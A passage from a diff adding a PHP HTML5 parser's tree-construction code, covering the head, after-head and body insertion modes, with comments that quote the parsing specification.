+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED
+ (FF), or U+0020 SPACE
+ A start tag token
+ An end tag token
+ An end-of-file token */
+ } elseif (($token['type'] === HTML5::CHARACTR &&
+ !preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) ||
+ $token['type'] === HTML5::STARTTAG ||
+ $token['type'] === HTML5::ENDTAG ||
+ $token['type'] === HTML5::EOF
+ ) {
+ /* Create an HTMLElement node with the tag name html, in the HTML
+ namespace. Append it to the Document object. Switch to the main
+ phase and reprocess the current token. */
+ $html = $this->dom->createElement('html');
+ $this->dom->appendChild($html);
+ $this->stack[] = $html;
+
+ $this->phase = self::MAIN_PHASE;
+ return $this->mainPhase($token);
+ }
+ }
+
+ private function mainPhase($token)
+ {
+ /* Tokens in the main phase must be handled as follows: */
+
+ /* A DOCTYPE token */
+ if ($token['type'] === HTML5::DOCTYPE) {
+ // Parse error. Ignore the token.
+
+ /* A start tag token with the tag name "html" */
+ } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'html') {
+ /* If this start tag token was not the first start tag token, then
+ it is a parse error. */
+
+ /* For each attribute on the token, check to see if the attribute
+ is already present on the top element of the stack of open elements.
+ If it is not, add the attribute and its corresponding value to that
+ element. */
+ foreach ($token['attr'] as $attr) {
+ if (!$this->stack[0]->hasAttribute($attr['name'])) {
+ $this->stack[0]->setAttribute($attr['name'], $attr['value']);
+ }
+ }
+
+ /* An end-of-file token */
+ } elseif ($token['type'] === HTML5::EOF) {
+ /* Generate implied end tags. */
+ $this->generateImpliedEndTags();
+
+ /* Anything else. */
+ } else {
+ /* Depends on the insertion mode: */
+ switch ($this->mode) {
+ case self::BEFOR_HEAD:
+ return $this->beforeHead($token);
+ break;
+ case self::IN_HEAD:
+ return $this->inHead($token);
+ break;
+ case self::AFTER_HEAD:
+ return $this->afterHead($token);
+ break;
+ case self::IN_BODY:
+ return $this->inBody($token);
+ break;
+ case self::IN_TABLE:
+ return $this->inTable($token);
+ break;
+ case self::IN_CAPTION:
+ return $this->inCaption($token);
+ break;
+ case self::IN_CGROUP:
+ return $this->inColumnGroup($token);
+ break;
+ case self::IN_TBODY:
+ return $this->inTableBody($token);
+ break;
+ case self::IN_ROW:
+ return $this->inRow($token);
+ break;
+ case self::IN_CELL:
+ return $this->inCell($token);
+ break;
+ case self::IN_SELECT:
+ return $this->inSelect($token);
+ break;
+ case self::AFTER_BODY:
+ return $this->afterBody($token);
+ break;
+ case self::IN_FRAME:
+ return $this->inFrameset($token);
+ break;
+ case self::AFTR_FRAME:
+ return $this->afterFrameset($token);
+ break;
+ case self::END_PHASE:
+ return $this->trailingEndPhase($token);
+ break;
+ }
+ }
+ }
+
+ private function beforeHead($token)
+ {
+ /* Handle the token as follows: */
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE */
+ if ($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
+ ) {
+ /* Append the character to the current node. */
+ $this->insertText($token['data']);
+
+ /* A comment token */
+ } elseif ($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the current node with the data attribute
+ set to the data given in the comment token. */
+ $this->insertComment($token['data']);
+
+ /* A start tag token with the tag name "head" */
+ } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') {
+ /* Create an element for the token, append the new element to the
+ current node and push it onto the stack of open elements. */
+ $element = $this->insertElement($token);
+
+ /* Set the head element pointer to this new element node. */
+ $this->head_pointer = $element;
+
+ /* Change the insertion mode to "in head". */
+ $this->mode = self::IN_HEAD;
+
+ /* A start tag token whose tag name is one of: "base", "link", "meta",
+ "script", "style", "title". Or an end tag with the tag name "html".
+ Or a character token that is not one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE. Or any other start tag token */
+ } elseif ($token['type'] === HTML5::STARTTAG ||
+ ($token['type'] === HTML5::ENDTAG && $token['name'] === 'html') ||
+ ($token['type'] === HTML5::CHARACTR && !preg_match(
+ '/^[\t\n\x0b\x0c ]$/',
+ $token['data']
+ ))
+ ) {
+ /* Act as if a start tag token with the tag name "head" and no
+ attributes had been seen, then reprocess the current token. */
+ $this->beforeHead(
+ array(
+ 'name' => 'head',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ )
+ );
+
+ return $this->inHead($token);
+
+ /* Any other end tag */
+ } elseif ($token['type'] === HTML5::ENDTAG) {
+ /* Parse error. Ignore the token. */
+ }
+ }
+
+ private function inHead($token)
+ {
+ /* Handle the token as follows: */
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE.
+
+ THIS DIFFERS FROM THE SPEC: If the current node is either a title, style
+ or script element, append the character to the current node regardless
+ of its content. */
+ if (($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])) || (
+ $token['type'] === HTML5::CHARACTR && in_array(
+ end($this->stack)->nodeName,
+ array('title', 'style', 'script')
+ ))
+ ) {
+ /* Append the character to the current node. */
+ $this->insertText($token['data']);
+
+ /* A comment token */
+ } elseif ($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the current node with the data attribute
+ set to the data given in the comment token. */
+ $this->insertComment($token['data']);
+
+ } elseif ($token['type'] === HTML5::ENDTAG &&
+ in_array($token['name'], array('title', 'style', 'script'))
+ ) {
+ array_pop($this->stack);
+ return HTML5::PCDATA;
+
+ /* A start tag with the tag name "title" */
+ } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'title') {
+ /* Create an element for the token and append the new element to the
+ node pointed to by the head element pointer, or, if that is null
+ (innerHTML case), to the current node. */
+ if ($this->head_pointer !== null) {
+ $element = $this->insertElement($token, false);
+ $this->head_pointer->appendChild($element);
+
+ } else {
+ $element = $this->insertElement($token);
+ }
+
+ /* Switch the tokeniser's content model flag to the RCDATA state. */
+ return HTML5::RCDATA;
+
+ /* A start tag with the tag name "style" */
+ } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'style') {
+ /* Create an element for the token and append the new element to the
+ node pointed to by the head element pointer, or, if that is null
+ (innerHTML case), to the current node. */
+ if ($this->head_pointer !== null) {
+ $element = $this->insertElement($token, false);
+ $this->head_pointer->appendChild($element);
+
+ } else {
+ $this->insertElement($token);
+ }
+
+ /* Switch the tokeniser's content model flag to the CDATA state. */
+ return HTML5::CDATA;
+
+ /* A start tag with the tag name "script" */
+ } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'script') {
+ /* Create an element for the token. */
+ $element = $this->insertElement($token, false);
+ $this->head_pointer->appendChild($element);
+
+ /* Switch the tokeniser's content model flag to the CDATA state. */
+ return HTML5::CDATA;
+
+ /* A start tag with the tag name "base", "link", or "meta" */
+ } elseif ($token['type'] === HTML5::STARTTAG && in_array(
+ $token['name'],
+ array('base', 'link', 'meta')
+ )
+ ) {
+ /* Create an element for the token and append the new element to the
+ node pointed to by the head element pointer, or, if that is null
+ (innerHTML case), to the current node. */
+ if ($this->head_pointer !== null) {
+ $element = $this->insertElement($token, false);
+ $this->head_pointer->appendChild($element);
+ array_pop($this->stack);
+
+ } else {
+ $this->insertElement($token);
+ }
+
+ /* An end tag with the tag name "head" */
+ } elseif ($token['type'] === HTML5::ENDTAG && $token['name'] === 'head') {
+ /* If the current node is a head element, pop the current node off
+ the stack of open elements. */
+ if ($this->head_pointer->isSameNode(end($this->stack))) {
+ array_pop($this->stack);
+
+ /* Otherwise, this is a parse error. */
+ } else {
+ // k
+ }
+
+ /* Change the insertion mode to "after head". */
+ $this->mode = self::AFTER_HEAD;
+
+ /* A start tag with the tag name "head" or an end tag except "html". */
+ } elseif (($token['type'] === HTML5::STARTTAG && $token['name'] === 'head') ||
+ ($token['type'] === HTML5::ENDTAG && $token['name'] !== 'html')
+ ) {
+ // Parse error. Ignore the token.
+
+ /* Anything else */
+ } else {
+ /* If the current node is a head element, act as if an end tag
+ token with the tag name "head" had been seen. */
+ if ($this->head_pointer->isSameNode(end($this->stack))) {
+ $this->inHead(
+ array(
+ 'name' => 'head',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+
+ /* Otherwise, change the insertion mode to "after head". */
+ } else {
+ $this->mode = self::AFTER_HEAD;
+ }
+
+ /* Then, reprocess the current token. */
+ return $this->afterHead($token);
+ }
+ }
+
+ private function afterHead($token)
+ {
+ /* Handle the token as follows: */
+
+ /* A character token that is one of one of U+0009 CHARACTER TABULATION,
+ U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C FORM FEED (FF),
+ or U+0020 SPACE */
+ if ($token['type'] === HTML5::CHARACTR &&
+ preg_match('/^[\t\n\x0b\x0c ]+$/', $token['data'])
+ ) {
+ /* Append the character to the current node. */
+ $this->insertText($token['data']);
+
+ /* A comment token */
+ } elseif ($token['type'] === HTML5::COMMENT) {
+ /* Append a Comment node to the current node with the data attribute
+ set to the data given in the comment token. */
+ $this->insertComment($token['data']);
+
+ /* A start tag token with the tag name "body" */
+ } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'body') {
+ /* Insert a body element for the token. */
+ $this->insertElement($token);
+
+ /* Change the insertion mode to "in body". */
+ $this->mode = self::IN_BODY;
+
+ /* A start tag token with the tag name "frameset" */
+ } elseif ($token['type'] === HTML5::STARTTAG && $token['name'] === 'frameset') {
+ /* Insert a frameset element for the token. */
+ $this->insertElement($token);
+
+ /* Change the insertion mode to "in frameset". */
+ $this->mode = self::IN_FRAME;
+
+ /* A start tag token whose tag name is one of: "base", "link", "meta",
+ "script", "style", "title" */
+ } elseif ($token['type'] === HTML5::STARTTAG && in_array(
+ $token['name'],
+ array('base', 'link', 'meta', 'script', 'style', 'title')
+ )
+ ) {
+ /* Parse error. Switch the insertion mode back to "in head" and
+ reprocess the token. */
+ $this->mode = self::IN_HEAD;
+ return $this->inHead($token);
+
+ /* Anything else */
+ } else {
+ /* Act as if a start tag token with the tag name "body" and no
+ attributes had been seen, and then reprocess the current token. */
+ $this->afterHead(
+ array(
+ 'name' => 'body',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ )
+ );
+
+ return $this->inBody($token);
+ }
+ }
+
+ private function inBody($token)
+ {
+ /* Handle the token as follows: */
+
+ switch ($token['type']) {
+ /* A character token */
+ case HTML5::CHARACTR:
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Append the token's character to the current node. */
+ $this->insertText($token['data']);
+ break;
+
+ /* A comment token */
+ case HTML5::COMMENT:
+ /* Append a Comment node to the current node with the data
+ attribute set to the data given in the comment token. */
+ $this->insertComment($token['data']);
+ break;
+
+ case HTML5::STARTTAG:
+ switch ($token['name']) {
+ /* A start tag token whose tag name is one of: "script",
+ "style" */
+ case 'script':
+ case 'style':
+ /* Process the token as if the insertion mode had been "in
+ head". */
+ return $this->inHead($token);
+ break;
+
+ /* A start tag token whose tag name is one of: "base", "link",
+ "meta", "title" */
+ case 'base':
+ case 'link':
+ case 'meta':
+ case 'title':
+ /* Parse error. Process the token as if the insertion mode
+ had been "in head". */
+ return $this->inHead($token);
+ break;
+
+ /* A start tag token with the tag name "body" */
+ case 'body':
+ /* Parse error. If the second element on the stack of open
+ elements is not a body element, or, if the stack of open
+ elements has only one node on it, then ignore the token.
+ (innerHTML case) */
+ if (count($this->stack) === 1 || $this->stack[1]->nodeName !== 'body') {
+ // Ignore
+
+ /* Otherwise, for each attribute on the token, check to see
+ if the attribute is already present on the body element (the
+ second element) on the stack of open elements. If it is not,
+ add the attribute and its corresponding value to that
+ element. */
+ } else {
+ foreach ($token['attr'] as $attr) {
+ if (!$this->stack[1]->hasAttribute($attr['name'])) {
+ $this->stack[1]->setAttribute($attr['name'], $attr['value']);
+ }
+ }
+ }
+ break;
+
+ /* A start tag whose tag name is one of: "address",
+ "blockquote", "center", "dir", "div", "dl", "fieldset",
+ "listing", "menu", "ol", "p", "ul" */
+ case 'address':
+ case 'blockquote':
+ case 'center':
+ case 'dir':
+ case 'div':
+ case 'dl':
+ case 'fieldset':
+ case 'listing':
+ case 'menu':
+ case 'ol':
+ case 'p':
+ case 'ul':
+ /* If the stack of open elements has a p element in scope,
+ then act as if an end tag with the tag name p had been
+ seen. */
+ if ($this->elementInScope('p')) {
+ $this->emitToken(
+ array(
+ 'name' => 'p',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+ }
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+ break;
+
+ /* A start tag whose tag name is "form" */
+ case 'form':
+ /* If the form element pointer is not null, ignore the
+ token with a parse error. */
+ if ($this->form_pointer !== null) {
+ // Ignore.
+
+ /* Otherwise: */
+ } else {
+ /* If the stack of open elements has a p element in
+ scope, then act as if an end tag with the tag name p
+ had been seen. */
+ if ($this->elementInScope('p')) {
+ $this->emitToken(
+ array(
+ 'name' => 'p',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+ }
+
+ /* Insert an HTML element for the token, and set the
+ form element pointer to point to the element created. */
+ $element = $this->insertElement($token);
+ $this->form_pointer = $element;
+ }
+ break;
+
+ /* A start tag whose tag name is "li", "dd" or "dt" */
+ case 'li':
+ case 'dd':
+ case 'dt':
+ /* If the stack of open elements has a p element in scope,
+ then act as if an end tag with the tag name p had been
+ seen. */
+ if ($this->elementInScope('p')) {
+ $this->emitToken(
+ array(
+ 'name' => 'p',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+ }
+
+ $stack_length = count($this->stack) - 1;
+
+ for ($n = $stack_length; 0 <= $n; $n--) {
+ /* 1. Initialise node to be the current node (the
+ bottommost node of the stack). */
+ $stop = false;
+ $node = $this->stack[$n];
+ $cat = $this->getElementCategory($node->tagName);
+
+ /* 2. If node is an li, dd or dt element, then pop all
+ the nodes from the current node up to node, including
+ node, then stop this algorithm. */
+ if ($token['name'] === $node->tagName || ($token['name'] !== 'li'
+ && ($node->tagName === 'dd' || $node->tagName === 'dt'))
+ ) {
+ for ($x = $stack_length; $x >= $n; $x--) {
+ array_pop($this->stack);
+ }
+
+ break;
+ }
+
+ /* 3. If node is not in the formatting category, and is
+ not in the phrasing category, and is not an address or
+ div element, then stop this algorithm. */
+ if ($cat !== self::FORMATTING && $cat !== self::PHRASING &&
+ $node->tagName !== 'address' && $node->tagName !== 'div'
+ ) {
+ break;
+ }
+ }
+
+ /* Finally, insert an HTML element with the same tag
+ name as the token's. */
+ $this->insertElement($token);
+ break;
+
+ /* A start tag token whose tag name is "plaintext" */
+ case 'plaintext':
+ /* If the stack of open elements has a p element in scope,
+ then act as if an end tag with the tag name p had been
+ seen. */
+ if ($this->elementInScope('p')) {
+ $this->emitToken(
+ array(
+ 'name' => 'p',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+ }
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ return HTML5::PLAINTEXT;
+ break;
+
+ /* A start tag whose tag name is one of: "h1", "h2", "h3", "h4",
+ "h5", "h6" */
+ case 'h1':
+ case 'h2':
+ case 'h3':
+ case 'h4':
+ case 'h5':
+ case 'h6':
+ /* If the stack of open elements has a p element in scope,
+ then act as if an end tag with the tag name p had been seen. */
+ if ($this->elementInScope('p')) {
+ $this->emitToken(
+ array(
+ 'name' => 'p',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+ }
+
+ /* If the stack of open elements has in scope an element whose
+ tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then
+ this is a parse error; pop elements from the stack until an
+ element with one of those tag names has been popped from the
+ stack. */
+ while ($this->elementInScope(array('h1', 'h2', 'h3', 'h4', 'h5', 'h6'))) {
+ array_pop($this->stack);
+ }
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+ break;
+
+ /* A start tag whose tag name is "a" */
+ case 'a':
+ /* If the list of active formatting elements contains
+ an element whose tag name is "a" between the end of the
+ list and the last marker on the list (or the start of
+ the list if there is no marker on the list), then this
+ is a parse error; act as if an end tag with the tag name
+ "a" had been seen, then remove that element from the list
+ of active formatting elements and the stack of open
+ elements if the end tag didn't already remove it (it
+ might not have if the element is not in table scope). */
+ $leng = count($this->a_formatting);
+
+ for ($n = $leng - 1; $n >= 0; $n--) {
+ if ($this->a_formatting[$n] === self::MARKER) {
+ break;
+
+ } elseif ($this->a_formatting[$n]->nodeName === 'a') {
+ $this->emitToken(
+ array(
+ 'name' => 'a',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+ break;
+ }
+ }
+
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Insert an HTML element for the token. */
+ $el = $this->insertElement($token);
+
+ /* Add that element to the list of active formatting
+ elements. */
+ $this->a_formatting[] = $el;
+ break;
+
+ /* A start tag whose tag name is one of: "b", "big", "em", "font",
+ "i", "nobr", "s", "small", "strike", "strong", "tt", "u" */
+ case 'b':
+ case 'big':
+ case 'em':
+ case 'font':
+ case 'i':
+ case 'nobr':
+ case 's':
+ case 'small':
+ case 'strike':
+ case 'strong':
+ case 'tt':
+ case 'u':
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Insert an HTML element for the token. */
+ $el = $this->insertElement($token);
+
+ /* Add that element to the list of active formatting
+ elements. */
+ $this->a_formatting[] = $el;
+ break;
+
+ /* A start tag token whose tag name is "button" */
+ case 'button':
+ /* If the stack of open elements has a button element in scope,
+ then this is a parse error; act as if an end tag with the tag
+ name "button" had been seen, then reprocess the token. (We don't
+ do that. Unnecessary.) */
+ if ($this->elementInScope('button')) {
+ $this->inBody(
+ array(
+ 'name' => 'button',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+ }
+
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* Insert a marker at the end of the list of active
+ formatting elements. */
+ $this->a_formatting[] = self::MARKER;
+ break;
+
+ /* A start tag token whose tag name is one of: "marquee", "object" */
+ case 'marquee':
+ case 'object':
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* Insert a marker at the end of the list of active
+ formatting elements. */
+ $this->a_formatting[] = self::MARKER;
+ break;
+
+ /* A start tag token whose tag name is "xmp" */
+ case 'xmp':
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* Switch the content model flag to the CDATA state. */
+ return HTML5::CDATA;
+ break;
+
+ /* A start tag whose tag name is "table" */
+ case 'table':
+ /* If the stack of open elements has a p element in scope,
+ then act as if an end tag with the tag name p had been seen. */
+ if ($this->elementInScope('p')) {
+ $this->emitToken(
+ array(
+ 'name' => 'p',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+ }
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* Change the insertion mode to "in table". */
+ $this->mode = self::IN_TABLE;
+ break;
+
+ /* A start tag whose tag name is one of: "area", "basefont",
+ "bgsound", "br", "embed", "img", "param", "spacer", "wbr" */
+ case 'area':
+ case 'basefont':
+ case 'bgsound':
+ case 'br':
+ case 'embed':
+ case 'img':
+ case 'param':
+ case 'spacer':
+ case 'wbr':
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* Immediately pop the current node off the stack of open elements. */
+ array_pop($this->stack);
+ break;
+
+ /* A start tag whose tag name is "hr" */
+ case 'hr':
+ /* If the stack of open elements has a p element in scope,
+ then act as if an end tag with the tag name p had been seen. */
+ if ($this->elementInScope('p')) {
+ $this->emitToken(
+ array(
+ 'name' => 'p',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+ }
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* Immediately pop the current node off the stack of open elements. */
+ array_pop($this->stack);
+ break;
+
+ /* A start tag whose tag name is "image" */
+ case 'image':
+ /* Parse error. Change the token's tag name to "img" and
+ reprocess it. (Don't ask.) */
+ $token['name'] = 'img';
+ return $this->inBody($token);
+ break;
+
+ /* A start tag whose tag name is "input" */
+ case 'input':
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Insert an input element for the token. */
+ $element = $this->insertElement($token, false);
+
+ /* If the form element pointer is not null, then associate the
+ input element with the form element pointed to by the form
+ element pointer. */
+ $this->form_pointer !== null
+ ? $this->form_pointer->appendChild($element)
+ : end($this->stack)->appendChild($element);
+
+ /* Pop that input element off the stack of open elements. */
+ array_pop($this->stack);
+ break;
+
+ /* A start tag whose tag name is "isindex" */
+ case 'isindex':
+ /* Parse error. */
+ // w/e
+
+ /* If the form element pointer is not null,
+ then ignore the token. */
+ if ($this->form_pointer === null) {
+ /* Act as if a start tag token with the tag name "form" had
+ been seen. */
+ $this->inBody(
+ array(
+ 'name' => 'body',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ )
+ );
+
+ /* Act as if a start tag token with the tag name "hr" had
+ been seen. */
+ $this->inBody(
+ array(
+ 'name' => 'hr',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ )
+ );
+
+ /* Act as if a start tag token with the tag name "p" had
+ been seen. */
+ $this->inBody(
+ array(
+ 'name' => 'p',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ )
+ );
+
+ /* Act as if a start tag token with the tag name "label"
+ had been seen. */
+ $this->inBody(
+ array(
+ 'name' => 'label',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => array()
+ )
+ );
+
+ /* Act as if a stream of character tokens had been seen. */
+ $this->insertText(
+ 'This is a searchable index. ' .
+ 'Insert your search keywords here: '
+ );
+
+ /* Act as if a start tag token with the tag name "input"
+ had been seen, with all the attributes from the "isindex"
+ token, except with the "name" attribute set to the value
+ "isindex" (ignoring any explicit "name" attribute). */
+ $attr = $token['attr'];
+ $attr[] = array('name' => 'name', 'value' => 'isindex');
+
+ $this->inBody(
+ array(
+ 'name' => 'input',
+ 'type' => HTML5::STARTTAG,
+ 'attr' => $attr
+ )
+ );
+
+ /* Act as if a stream of character tokens had been seen
+ (see below for what they should say). */
+ $this->insertText(
+ 'This is a searchable index. ' .
+ 'Insert your search keywords here: '
+ );
+
+ /* Act as if an end tag token with the tag name "label"
+ had been seen. */
+ $this->inBody(
+ array(
+ 'name' => 'label',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+
+ /* Act as if an end tag token with the tag name "p" had
+ been seen. */
+ $this->inBody(
+ array(
+ 'name' => 'p',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+
+ /* Act as if a start tag token with the tag name "hr" had
+ been seen. */
+ $this->inBody(
+ array(
+ 'name' => 'hr',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+
+ /* Act as if an end tag token with the tag name "form" had
+ been seen. */
+ $this->inBody(
+ array(
+ 'name' => 'form',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+ }
+ break;
+
+ /* A start tag whose tag name is "textarea" */
+ case 'textarea':
+ $this->insertElement($token);
+
+ /* Switch the tokeniser's content model flag to the
+ RCDATA state. */
+ return HTML5::RCDATA;
+ break;
+
+ /* A start tag whose tag name is one of: "iframe", "noembed",
+ "noframes" */
+ case 'iframe':
+ case 'noembed':
+ case 'noframes':
+ $this->insertElement($token);
+
+ /* Switch the tokeniser's content model flag to the CDATA state. */
+ return HTML5::CDATA;
+ break;
+
+ /* A start tag whose tag name is "select" */
+ case 'select':
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ /* Insert an HTML element for the token. */
+ $this->insertElement($token);
+
+ /* Change the insertion mode to "in select". */
+ $this->mode = self::IN_SELECT;
+ break;
+
+ /* A start or end tag whose tag name is one of: "caption", "col",
+ "colgroup", "frame", "frameset", "head", "option", "optgroup",
+ "tbody", "td", "tfoot", "th", "thead", "tr". */
+ case 'caption':
+ case 'col':
+ case 'colgroup':
+ case 'frame':
+ case 'frameset':
+ case 'head':
+ case 'option':
+ case 'optgroup':
+ case 'tbody':
+ case 'td':
+ case 'tfoot':
+ case 'th':
+ case 'thead':
+ case 'tr':
+ // Parse error. Ignore the token.
+ break;
+
+ /* A start or end tag whose tag name is one of: "event-source",
+ "section", "nav", "article", "aside", "header", "footer",
+ "datagrid", "command" */
+ case 'event-source':
+ case 'section':
+ case 'nav':
+ case 'article':
+ case 'aside':
+ case 'header':
+ case 'footer':
+ case 'datagrid':
+ case 'command':
+ // Work in progress!
+ break;
+
+ /* A start tag token not covered by the previous entries */
+ default:
+ /* Reconstruct the active formatting elements, if any. */
+ $this->reconstructActiveFormattingElements();
+
+ $this->insertElement($token, true, true);
+ break;
+ }
+ break;
+
+ case HTML5::ENDTAG:
+ switch ($token['name']) {
+ /* An end tag with the tag name "body" */
+ case 'body':
+ /* If the second element in the stack of open elements is
+ not a body element, this is a parse error. Ignore the token.
+ (innerHTML case) */
+ if (count($this->stack) < 2 || $this->stack[1]->nodeName !== 'body') {
+ // Ignore.
+
+ /* If the current node is not the body element, then this
+ is a parse error. */
+ } elseif (end($this->stack)->nodeName !== 'body') {
+ // Parse error.
+ }
+
+ /* Change the insertion mode to "after body". */
+ $this->mode = self::AFTER_BODY;
+ break;
+
+ /* An end tag with the tag name "html" */
+ case 'html':
+ /* Act as if an end tag with tag name "body" had been seen,
+ then, if that token wasn't ignored, reprocess the current
+ token. */
+ $this->inBody(
+ array(
+ 'name' => 'body',
+ 'type' => HTML5::ENDTAG
+ )
+ );
+
+ return $this->afterBody($token);
+ break;
+
+ /* An end tag whose tag name is one of: "address", "blockquote",
+ "center", "dir", "div", "dl", "fieldset", "listing", "menu",
+ "ol", "pre", "ul" */
+ case 'address':
+ case 'blockquote':
+ case 'center':
+ case 'dir':
+ case 'div':
+ case 'dl':
+ case 'fieldset':
+ case 'listing':
+ case 'menu':
+ case 'ol':
+ case 'pre':
+ case 'ul':
+ /* If the stack of open elements has an element in scope
+ with the same tag name as that of the token, then generate
+ implied end tags. */
+ if ($this->elementInScope($token['name'])) {
+ $this->generateImpliedEndTags();
+
+ /* Now, if the current node is not an element with
+ the same tag name as that of the token, then this
+ is a parse error. */
+ // w/e
+
+ /* If the stack of open elements has an element in
+ scope with the same tag name as that of the token,
+ then pop elements from this stack until an element
+ with that tag name has been popped from the stack. */
+ for ($n = count($this->stack) - 1; $n >= 0; $n--) {
+ if ($this->stack[$n]->nodeName === $token['name']) {
+ $n = -1;
+ }
+
+ array_pop($this->stack);
+ }
+ }
+ break;
+
+ /* An end tag whose tag name is "form" */
+ case 'form':
+ /* If the stack of open elements has an element in scope
+ with the same tag name as that of the token, then generate
+ implied end tags. */
+ if ($this->elementInScope($token['name'])) {
+ $this->generateImpliedEndTags();
+
+ }
+
+ if (end($this->stack)->nodeName !== $token['name']) {
+ /* Now, if the current node is not an element with the
+ same tag name as that of the token, then this is a parse
+ error. */
+ // w/e
+
+ } else {
+ /* Otherwise, if the current node is an element with
+ the same tag name as that of the token pop that element
+ from the stack. */
+ array_pop($this->stack);
+ }
+
+ /* In any case, set the form element pointer to null. */
+ $this->form_pointer = null;
+ break;
+
+ /* An end tag whose tag name is "p" */
+ case 'p':
+ /* If the stack of open elements has a p element in scope,
+ then generate implied end tags, except for p elements. */
+ if ($this->elementInScope('p')) {
+ $this->generateImpliedEndTags(array('p'));
+
+ /* If the current node is not a p element, then this is
+ a parse error. */
+ // k
+
+ /* If the stack of open elements has a p element in
+ scope, then pop elements from this stack until the stack
+ no longer has a p element in scope. */
+ for ($n = count($this->stack) - 1; $n >= 0; $n--) {
+ if ($this->elementInScope('p')) {
+ array_pop($this->stack);
+
+ } else {
+ break;
+ }
+ }
+ }
+ break;
+
+ /* An end tag whose tag name is "dd", "dt", or "li" */
+ case 'dd':
+ case 'dt':
+ case 'li':
+ /* If the stack of open elements has an element in scope
+ whose tag name matches the tag name of the token, then
+ generate implied end tags, except for elements with the
+ same tag name as the token. */
+ if ($this->elementInScope($token['name'])) {
+ $this->generateImpliedEndTags(array($token['name']));
+
+ /* If the current node is not an element with the same
+ tag name as the token, then this is a parse error. */
+ // w/e
+
+ /* If the stack of open elements has an element in scope
+ whose tag name matches the tag name of the token, then
+ pop elements from this stack until an element with that
+ tag name has been popped from the stack. */
+ for ($n = count($this->stack) - 1; $n >= 0; $n--) {
+ if ($this->stack[$n]->nodeName === $token['name']) {
+ $n = -1;
+ }
+
+ array_pop($this->stack);
+ }
+ }
+ break;
+
+ /* An end tag whose tag name is one of: "h1", "h2", "h3", "h4",
+ "h5", "h6" */
+ case 'h1':
+ case 'h2':
+ case 'h3':
+ case 'h4':
+ case 'h5':
+ case 'h6':
+ $elements = array('h1', 'h2', 'h3', 'h4', 'h5', 'h6');
+
+ /* If the stack of open elements has in scope an element whose
+ tag name is one of "h1", "h2", "h3", "h4", "h5", or "h6", then
+ generate implied end tags. */
+ if ($this->elementInScope($elements)) {
+ $this->generateImpliedEndTags();
+
+ /* Now, if the current node is not an element with the same
+ tag name as that of the token, then this is a parse error. */
+ // w/e
+
+ /* If the stack of open elements has in scope an element
+ whose tag name is one of "h1", "h2", "h3", "h4", "h5", or
+ "h6", then pop elements from the stack until an element
+ with one of those tag names has been popped from the stack. */
+ while ($this->elementInScope($elements)) {
+ array_pop($this->stack);
+ }
+ }
+ break;
+
